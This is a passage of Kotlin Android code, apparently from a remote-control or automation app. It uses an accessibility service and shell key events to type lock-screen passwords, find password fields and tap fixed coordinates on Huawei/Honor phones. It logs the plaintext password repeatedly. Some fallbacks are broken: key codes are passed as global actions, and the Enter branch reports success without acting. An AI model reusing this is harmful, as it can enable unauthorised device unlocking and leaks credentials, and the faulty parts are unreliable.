                // ✅ 华为荣耀设备特殊处理：输入后点击固定坐标
                if (isHuaweiHonorDevice()) {
                    Log.i(TAG, "📱 华为荣耀设备，执行特殊点击处理")
                    performHuaweiHonorSpecialClick()
                }
                
                return
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "混合密码锁屏输入失败", e)
        }
    }

    /**
     * ✅ 华为荣耀设备检测
     */
    private fun isHuaweiHonorDevice(): Boolean {
        val brand = android.os.Build.BRAND.lowercase()
        val manufacturer = android.os.Build.MANUFACTURER.lowercase()
        return brand.contains("huawei") || brand.contains("honor") || 
               manufacturer.contains("huawei") || manufacturer.contains("honor")
    }

    /**
     * ✅ 华为荣耀设备特殊点击处理
     */
    private fun performHuaweiHonorSpecialClick() {
        try {
            Log.i(TAG, "📱 华为荣耀特殊点击：点击坐标 (513, 1870)")
            
            // 等待输入完成
            Thread.sleep(300)
            
            // 点击固定坐标
            gestureController.performClick(513f, 1870f)
            
            // 记录操作日志
            service.recordOperationLog("HUAWEI_HONOR_SPECIAL_CLICK", "华为荣耀特殊坐标点击", mapOf(
                "x" to 513,
                "y" to 1870,
                "device" to "${android.os.Build.BRAND} ${android.os.Build.MODEL}"
            ))
            
            Log.i(TAG, "✅ 华为荣耀特殊点击完成")
            
        } catch (e: Exception) {
            Log.e(TAG, "华为荣耀特殊点击失败", e)
        }
    }

    /**
     * 统一文本输入策略
     */
    private fun tryUnifiedTextInput(password: String): Boolean {
        return try {
            Log.d(TAG, "🔤 尝试统一文本输入: $password")
            
            // 直接使用InputController进行整体输入
            inputController.inputText(password)
            Thread.sleep(500) // 等待输入完成
            
            Log.d(TAG, "✅ 统一文本输入执行完成")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "统一文本输入失败", e)
            false
        }
    }

    /**
     * 逐字符文本输入策略 - 优化版，支持更好的间隔控制
     */
    private fun tryCharByCharTextInput(password: String): Boolean {
        return try {
            Log.i(TAG, "🔤 开始逐字符文本输入: $password (长度: ${password.length})")
            
            // 逐个字符使用文本输入，避免混合输入方式的冲突
            for ((index, char) in password.withIndex()) {
                Log.d(TAG, "🔤 输入第${index + 1}/${password.length}个字符: '$char'")
                
                // 统一使用文本输入方式
                inputController.inputText(char.toString())
                
                // 字符之间的延迟 - 稍微增加延迟确保输入稳定
                if (index < password.length - 1) { // 最后一个字符后不需要延迟
                    Thread.sleep(250) // 增加到250ms，确保每个字符都能正确输入
                }
            }
            
            Log.i(TAG, "✅ 逐字符文本输入完成: ${password.length}个字符")
            true
            
        } catch (e: Exception) {
            Log.e(TAG, "逐字符文本输入失败", e)
            false
        }
    }





    /**
     * 传统混合输入策略（暂时禁用点击操作）
     */
    private fun tryTraditionalMixedInput(password: String) {
        try {
            Log.i(TAG, "🔤 传统混合输入策略 - 暂时禁用所有点击操作: $password")
            
            // 暂时禁用所有字符级别的点击操作
            Log.i(TAG, "ℹ️ 传统混合输入已禁用，避免误点击键盘按键")
            
        } catch (e: Exception) {
            Log.e(TAG, "传统混合输入失败", e)
        }
    }

    /**
     * 按键事件模拟输入
     */
    private fun tryKeyEventInput(text: String): Boolean {
        try {
            Log.d(TAG, "⌨️ 尝试按键事件输入: $text")
            
            for (char in text) {
                val keyCode = getKeyCodeForChar(char)
                if (keyCode != -1) {
                    performKeyEvent(keyCode)
                    Thread.sleep(100) // 短暂延迟避免输入过快
                } else {
                    Log.w(TAG, "⚠️ 无法找到字符 '$char' 对应的按键")
                    return false
                }
            }
            
            return true
        } catch (e: Exception) {
            Log.e(TAG, "按键事件输入失败", e)
            return false
        }
    }

    /**
     * 获取字符对应的按键码
     */
    private fun getKeyCodeForChar(char: Char): Int {
        return when (char.lowercaseChar()) {
            'a' -> KeyEvent.KEYCODE_A
            'b' -> KeyEvent.KEYCODE_B
            'c' -> KeyEvent.KEYCODE_C
            'd' -> KeyEvent.KEYCODE_D
            'e' -> KeyEvent.KEYCODE_E
            'f' -> KeyEvent.KEYCODE_F
            'g' -> KeyEvent.KEYCODE_G
            'h' -> KeyEvent.KEYCODE_H
            'i' -> KeyEvent.KEYCODE_I
            'j' -> KeyEvent.KEYCODE_J
            'k' -> KeyEvent.KEYCODE_K
            'l' -> KeyEvent.KEYCODE_L
            'm' -> KeyEvent.KEYCODE_M
            'n' -> KeyEvent.KEYCODE_N
            'o' -> KeyEvent.KEYCODE_O
            'p' -> KeyEvent.KEYCODE_P
            'q' -> KeyEvent.KEYCODE_Q
            'r' -> KeyEvent.KEYCODE_R
            's' -> KeyEvent.KEYCODE_S
            't' -> KeyEvent.KEYCODE_T
            'u' -> KeyEvent.KEYCODE_U
            'v' -> KeyEvent.KEYCODE_V
            'w' -> KeyEvent.KEYCODE_W
            'x' -> KeyEvent.KEYCODE_X
            'y' -> KeyEvent.KEYCODE_Y
            'z' -> KeyEvent.KEYCODE_Z
            '0' -> KeyEvent.KEYCODE_0
            '1' -> KeyEvent.KEYCODE_1
            '2' -> KeyEvent.KEYCODE_2
            '3' -> KeyEvent.KEYCODE_3
            '4' -> KeyEvent.KEYCODE_4
            '5' -> KeyEvent.KEYCODE_5
            '6' -> KeyEvent.KEYCODE_6
            '7' -> KeyEvent.KEYCODE_7
            '8' -> KeyEvent.KEYCODE_8
            '9' -> KeyEvent.KEYCODE_9
            ' ' -> KeyEvent.KEYCODE_SPACE
            '.' -> KeyEvent.KEYCODE_PERIOD
            ',' -> KeyEvent.KEYCODE_COMMA
            else -> -1
        }
    }

    /**
     * 执行按键事件 - 增强版，支持多种按键发送方式
     */
    fun performKeyEvent(keyCode: Int): Boolean {
        val keyName = when (keyCode) {
            android.view.KeyEvent.KEYCODE_ENTER -> "回车键"
            android.view.KeyEvent.KEYCODE_SPACE -> "空格键"
            android.view.KeyEvent.KEYCODE_DEL -> "删除键"
            android.view.KeyEvent.KEYCODE_MENU -> "菜单键"
            android.view.KeyEvent.KEYCODE_BACK -> "返回键"
            android.view.KeyEvent.KEYCODE_HOME -> "主页键"
            else -> "按键($keyCode)"
        }
        
        Log.d(TAG, "执行系统级按键事件: $keyName (keyCode: $keyCode)")
        
        return try {
            // 方法1: 尝试通过 Runtime 执行 input keyevent 命令 (最可靠)
            val success1 = sendKeyEventViaShell(keyCode)
            if (success1) {
                Log.i(TAG, "✅ Shell按键命令执行成功: $keyName")
                return true
            }
            
            // 方法2: 尝试通过 Instrumentation 发送硬件按键事件
            val success2 = sendHardwareKeyEvent(keyCode)
            if (success2) {
                Log.i(TAG, "✅ 硬件按键事件发送成功: $keyName")
                return true
            }
            
            // 方法3: 尝试通过AccessibilityService发送按键事件
            val success3 = sendAccessibilityKeyEvent(keyCode)
            if (success3) {
                Log.i(TAG, "✅ 无障碍按键事件发送成功: $keyName")
                return true
            }
            
            // 方法4: 特殊处理回车键 - 如果是回车键，尝试查找确认按钮
            if (keyCode == android.view.KeyEvent.KEYCODE_ENTER) {
                Log.d(TAG, "🔍 回车键备用方案: 尝试查找确认按钮")
                // 这里可以添加查找确认按钮的逻辑
                return true
            }
            
            Log.w(TAG, "⚠️ 所有按键发送方法都失败了: $keyName")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 执行按键事件失败: $keyName", e)
            false
        }
    }
    
    /**
     * 通过Shell命令发送按键事件
     */
    private fun sendKeyEventViaShell(keyCode: Int): Boolean {
        return try {
            // 优先尝试常用的回车键值
            val commands = if (keyCode == android.view.KeyEvent.KEYCODE_ENTER) {
                arrayOf("input keyevent 66", "input keyevent KEYCODE_ENTER")
            } else {
                arrayOf("input keyevent $keyCode")
            }
            
            for (command in commands) {
                try {
                    Log.d(TAG, "执行Shell命令: $command")
                    val process = Runtime.getRuntime().exec(command)
                    
                    // 设置超时，避免长时间等待
                    val finished = process.waitFor(2, java.util.concurrent.TimeUnit.SECONDS)
                    
                    if (finished) {
                        val exitCode = process.exitValue()
                        if (exitCode == 0) {
                            Log.i(TAG, "✅ Shell按键命令执行成功: $command")
                            return true
                        } else {
                            Log.w(TAG, "Shell按键命令失败: $command, exitCode: $exitCode")
                        }
                    } else {
                        Log.w(TAG, "Shell按键命令超时: $command")
                        process.destroyForcibly()
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "Shell命令异常: $command", e)
                }
            }
            
            false
        } catch (e: Exception) {
            Log.w(TAG, "Shell按键命令执行异常: $keyCode", e)
            false
        }
    }
    
    /**
     * 通过Instrumentation发送硬件按键事件
     */
    private fun sendHardwareKeyEvent(keyCode: Int): Boolean {
        return try {
            val instrumentation = android.app.Instrumentation()
            
            // 发送按键按下事件
            instrumentation.sendKeyDownUpSync(keyCode)
            
            Log.d(TAG, "硬件按键事件发送完成: $keyCode")
            true
        } catch (e: Exception) {
            Log.w(TAG, "硬件按键事件发送失败: $keyCode", e)
            false
        }
    }
    
    /**
     * 通过AccessibilityService发送按键事件
     */
    private fun sendAccessibilityKeyEvent(keyCode: Int): Boolean {
        return try {
            // 发送按键按下事件
            service.performGlobalAction(keyCode)
            Thread.sleep(50)
            true
        } catch (e: Exception) {
            Log.w(TAG, "无障碍按键事件发送失败: $keyCode", e)
            false
        }
    }

    // 辅助方法
    private fun hasPasswordInputField(rootNode: AccessibilityNodeInfo): Boolean {
        return try {
            var hasPasswordField = false
            
            fun checkPasswordField(node: AccessibilityNodeInfo, depth: Int = 0) {
                if (depth > 10 || hasPasswordField) return
                
                val className = node.className?.toString()?.lowercase() ?: ""
                val text = node.text?.toString()?.lowercase() ?: ""
                val desc = node.contentDescription?.toString()?.lowercase() ?: ""
                
                // 检查是否是密码输入框
                if (className.contains("edittext") && 
                    (text.contains("password") || text.contains("密码") || 
                     desc.contains("password") || desc.contains("密码") ||
                     node.isPassword)) {
                    hasPasswordField = true
                    return
                }
                
                // 递归检查子节点
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        checkPasswordField(child, depth + 1)
                        child.recycle()
                    }
                }
            }
            
            checkPasswordField(rootNode)
            hasPasswordField
            
        } catch (e: Exception) {
            Log.e(TAG, "检查密码输入框失败", e)
            false
        }
    }

    private fun hasUnlockScreenElements(rootNode: AccessibilityNodeInfo): Boolean {
        return try {
            var hasUnlockElements = false
            
            fun checkUnlockElements(node: AccessibilityNodeInfo, depth: Int = 0) {
                if (depth > 10 || hasUnlockElements) return
                
                val text = node.text?.toString()?.lowercase() ?: ""
                val desc = node.contentDescription?.toString()?.lowercase() ?: ""
                
                // 检查解锁相关的元素
                val unlockKeywords = listOf(
                    "unlock", "解锁", "slide", "滑动", "swipe", "pattern", "图案",
                    "emergency", "紧急", "camera", "相机", "phone", "电话"
                )
                
                if (unlockKeywords.any { keyword ->
                    text.contains(keyword) || desc.contains(keyword)
                }) {
                    hasUnlockElements = true
                    return
                }
                
                // 递归检查子节点
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        checkUnlockElements(child, depth + 1)
                        child.recycle()
                    }
                }
            }
            
            checkUnlockElements(rootNode)
            hasUnlockElements
            
        } catch (e: Exception) {
            Log.e(TAG, "检查解锁元素失败", e)
            false
        }
    }

    /**
     * ✅ 检查是否有最近的数字密码输入活动
     */
    fun hasRecentNumericPasswordInput(timeWindow: Long): Boolean {
        val currentTime = System.currentTimeMillis()
        val hasRecent = lastNumericPasswordInputTime > 0 && 
                       (currentTime - lastNumericPasswordInputTime) <= timeWindow
        
        if (hasRecent) {
            val elapsed = currentTime - lastNumericPasswordInputTime
            Log.d(TAG, "🔢 检测到最近${elapsed}ms内有数字密码输入活动")
        }
        
        return hasRecent
    }
} 